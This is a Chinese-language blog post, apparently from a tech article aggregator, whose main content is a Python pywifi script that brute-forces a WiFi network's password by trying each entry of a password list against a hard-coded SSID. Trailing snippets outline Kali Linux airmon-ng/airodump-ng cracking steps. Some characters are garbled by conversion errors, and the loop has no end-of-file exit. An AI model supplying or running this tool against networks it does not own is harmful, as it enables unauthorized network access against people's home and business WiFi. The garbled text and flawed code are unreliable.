暴力破解WiFi密碼python實現pywifi

2021-10-02 15:56:52 字數 2865 閱讀 9726

最近在b站上看到了乙個有意思的wifi密碼破解,是暴力破解方法,雖然沒啥用,不過也能用它來做自動化來對筆記本上的wifi網絡卡進行一些管理

import pywifi

from pywifi import const #應用一些常量模組

#建立乙個無線物件

wifi = pywifi.pywifi()

#收穫第乙個無線網絡卡

ifaces = wifi.inte***ces()[0]

#獲取到第乙個無線網絡卡

print(ifaces)

print('第乙個無線網絡卡名為:',ifaces.name())

#列印網絡卡連線狀態碼

print("狀態碼為:",ifaces.status()) #連線到wifi,狀態碼是4,未連線是0

if ifaces.status() == const.iface_connected: #const.iface_connected為4

print('wifi已連線')

else:

print('未連線')

wifi = pywifi.pywifi()

ifaces = wifi.inte***ces()[0] #獲取第乙個無線網絡卡

#掃瞄wifi

ifaces.scan()

#獲取掃瞄結果

result = ifaces.scan_results()

print(result)

for data in result:

print(data.ssid) #返回附近wifi名稱

思路:

匯入模組

抓取網絡卡介面

斷開wifi介面

讀取密碼本

試密碼重複3-5直到成功或完全失敗

import pywifi

from pywifi import const #應用一些常量模組

import time

def readpassword(ifaces):

flag = 0

print('開始破解:')

#以讀取方式開啟密碼本檔案

f = open(r"f:\python資料處理案例存放處\pywifi模組的使用與破解wifi密碼\密碼本.txt","r")

while true:

#讀取檔案錯誤則跳出本次迴圈

try_password = f.readline()

bool = wificonnect(try_password,ifaces)

if bool:

print("密碼正確",try_password)

flag = 1

break #結束迴圈

else:

print("密碼錯誤",try_password)

'''except:

print('錯誤讀取')

break

'''if flag == 0:

print('密碼本中無有效密碼')

f.close()

#測試連線 返回連線結果

def wificonnect(try_password,ifaces):

#獲取網絡卡狀態

wifistatus = ifaces.status()

#測試是否連線,未連線情況下來破解

if wifistatus == const.iface_disconnected: #const.iface_disconnected為0,為未連線時的狀態引數

print('未連線')

#建立wifi連線檔案物件 來進行wifi連線

profile = pywifi.profile()

#給物件要連線wifi的名稱

profile.ssid = "ng"

#使網絡卡開放 profile.auth是網絡卡的開放狀態

profile.auth = const.auth_alg_open

#設定wifi的加密演算法 一般為akm_type_wpa2psk

#設定檔案加密單元

profile.cipher = const.cipher_type_ccmp

#密碼profile.key = try_password

#刪除所有wifi檔案

ifaces.remove_all_network_profiles()

#設定新的連線檔案

tep_profile = ifaces.add_network_profile(profile)

#進行連線

ifaces.connect(tep_profile)

#延遲4s作為wifi連線的時間

time.sleep(4)

if ifaces.status() == const.iface_connected:

return true

else:

return false

else:

print('wifi已連線')

def init(): #初始化設定,返回網絡卡模組

#抓取網絡卡介面

wifi = pywifi.pywifi()

#獲取第乙個網絡卡

ifaces = wifi.inte***ces()[0]

#斷開所有連線

ifaces.disconnect()

#設定1s延時

time.sleep(1)

return ifaces

if __name__ == '__main__':

ifaces = init()

readpassword(ifaces)

暴力破解WiFi密碼

你好!歡迎來到這裡,我學習的地方!要有乙個外接網絡卡 kali linux系統 這裡以ubuntu為實驗 虛擬機器除錯 除錯到外接網絡卡 開啟終端,按照順序敲 airmon ng start wlan0 airodump ng wlan0mon airodump ng cch bssidbssid ...

Kali Linux 暴力破解 wifi密碼

注意 私自破解他人wifi屬於違法行為,我這裡使用自己的wifi熱點作為學習和測試。明白了破解原理就知道應該怎麼防範了。暴力破解需要準備的工具 所謂暴力破解就是窮舉法,將密碼字典中每乙個密碼依次去與握手包中的密碼進行匹配,直到匹配成功。所以能否成功破解wifi密碼取決於密碼字典本身是否包含了這個密碼...

kali linux暴力破解wifi密碼

前期 需要將kali安裝好,並且有無線網絡卡 注意kali支援晶元為3070和1887l的網絡卡 開啟kali,開啟終端,使用命令ifconfig檢視網絡卡資訊,若有wlan0表示網絡卡連線成功 在這裡插入描述 開啟網絡卡監聽模式 airmon ng start wlan0 iwconfig,網絡卡...